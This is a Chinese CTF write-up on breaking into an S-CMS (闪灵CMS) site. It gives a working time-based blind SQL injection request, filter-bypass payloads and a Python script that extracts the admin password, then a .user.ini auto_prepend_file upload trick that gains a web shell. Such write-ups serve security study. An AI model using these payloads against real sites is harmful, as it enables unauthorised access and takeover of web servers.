医疗行业CTF-easy_cms解题过程

  • A+
所属分类:CTF专场
1、题目描述及入手思路    
题目描述如下:

医疗行业CTF-easy_cms解题过程

看到这里,会想到这应该是一个后台getshell的点,因为题目描述了说db.sql中除了admin的password不一样,其他内容完全一样,也就是说数据库无法藏flag。
然后打开题目后发现:

医疗行业CTF-easy_cms解题过程

程序使用闪灵CMS,百度搜索后,发现其为S-CMS,并且有很多注入,参考如下:https://www.anquanke.com/post/id/187337。
奈何,题目环境中中却不存在上述文章中的任何一处注入以及xml注入等漏洞,里面还有一条线索就是后台可以改模版重装getshell。
2、冥思苦想进后台

说实话这个过程还是很曲折的,几乎试遍了互联网上所有公开的漏洞,后来晚上搜索闪灵CMS漏洞的时候(之前基本上都搜索的S-CMS漏洞),发现t00ls有相关文章:https://www.t00ls.net/viewthread.php?tid=58472&highlight=%E9%97%AA%E7%81%B5

其漏洞产生文件为function/form.php,经过对比代码,确实漏洞未修复。

因为所有传入参数的值都带入check_input2处理过了,因此参数值不会存在注入,而参数名仍可以存在注入:

医疗行业CTF-easy_cms解题过程

漏洞产生原理:

医疗行业CTF-easy_cms解题过程

测试漏洞:

POST //function/form.php?action=input HTTP/1.1Host: 10.211.55.10:8081User-Agent: python-requests/2.23.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 14Content-Type: application/x-www-form-urlencoded
1-sleep(5)=xxx

医疗行业CTF-easy_cms解题过程

果然延时5s,正当我高兴能够进入后台时,现实却给我好好的上了一课。因为有db.sql,我们可以轻松构造payload,(存放管理员密码的是SL_admin表的A_pwd列)

医疗行业CTF-easy_cms解题过程

1-if((select(length(A_pwd))from SL_admin)%3d32,sleep(5),1)=xxx

但却,无延时:

医疗行业CTF-easy_cms解题过程

真不知道哪里错了,可能是我菜吧,看到t00ls说可以用sqlmap跑,于是进行尝试。

医疗行业CTF-easy_cms解题过程


却仅能跑出库名,连表名都跑不出来。
于是,通过MySQL执行监控,看下数据库究竟执行的SQL是什么呢?

医疗行业CTF-easy_cms解题过程

发现问题所在了,空格被替换成下划线了,因此使用/**/绕过空格,payload如下:
1-if((select(length(A_pwd))from/**/SL_admin)%3d32,sleep(5),1)=xxx

医疗行业CTF-easy_cms解题过程

利用成功,然后编写脚本进行注入:
import requests,time
x = [str(x) for x in range(0, 10)]y = [chr(y) for y in range(97, 123)]# z = [chr(y) for y in range(65, 90)] # 大写字母dic = x+y# function/form.php?action=inputurl = 'http://10.211.55.10:8081/'result=''for i in range(1,33): for j in dic: data={ "1-if((select(substr(A_pwd,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j):"xxx" } startTime = time.time() res = requests.post(url+'/function/form.php?action=input',data=data) endTime = time.time() if endTime - startTime > 5: result=result+j print('[+] '+result) break

医疗行业CTF-easy_cms解题过程

获得admin的md5值,解密后进入后台。

医疗行业CTF-easy_cms解题过程

3、后台getshell再遇风波
根据安全客的文章,网站安全->文件管理->修改data/first.txt的值即可,然而:

医疗行业CTF-easy_cms解题过程


连first.txt都看不到,于是分析install/index.php

医疗行业CTF-easy_cms解题过程

现在判断安装的值放在了data/config.json,于是尝试后台编辑它,却:

医疗行业CTF-easy_cms解题过程

查看代码,发现:

医疗行业CTF-easy_cms解题过程

无法绕过。
在翻看后台功能寻找getshell利用点的时候,发现在“检测更新”中,是存在更新的(且修复了文件上传漏洞),如下:

医疗行业CTF-easy_cms解题过程

而且需要更新的文件也都列出来了,于是我本地搭建了一套环境,然后进行了更新,更新后和更新前对比:

医疗行业CTF-easy_cms解题过程

在function/upload.php的黑名单校验中加了ini,我就纳闷ini还能当后门用?百度了一下真可以。参考:(https://blog.csdn.net/weixin_43536759/article/details/105343986)
于是分析上传代码:
  • 获取路径

  • 截取上传文件后缀

  • 如果当a传入值为a是,保存为原始文件名


医疗行业CTF-easy_cms解题过程

  • 然后进行黑名单校验(防止有脚本传入)

  • 白名单校验

医疗行业CTF-easy_cms解题过程

  • 这里白名单是可控的,如下:

医疗行业CTF-easy_cms解题过程


在后台的安全设置中,可以设置白名单,且白名单设置不能存在黑名单中的值,所以我们直接把ini加白:

医疗行业CTF-easy_cms解题过程

然后随便找个上传点,先上传shell,再上传.user.ini即可,如下:

医疗行业CTF-easy_cms解题过程

.user.ini的内容为:auto_prepend_file=1.png

医疗行业CTF-easy_cms解题过程

然后测试是否shell,如下:

医疗行业CTF-easy_cms解题过程


然后可以获取flag。因为所有漏洞的分析研究都是在赛后进行的,所以有不对的地方欢迎指正。

本文始发于微信公众号(川云安全团队):医疗行业CTF-easy_cms解题过程

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: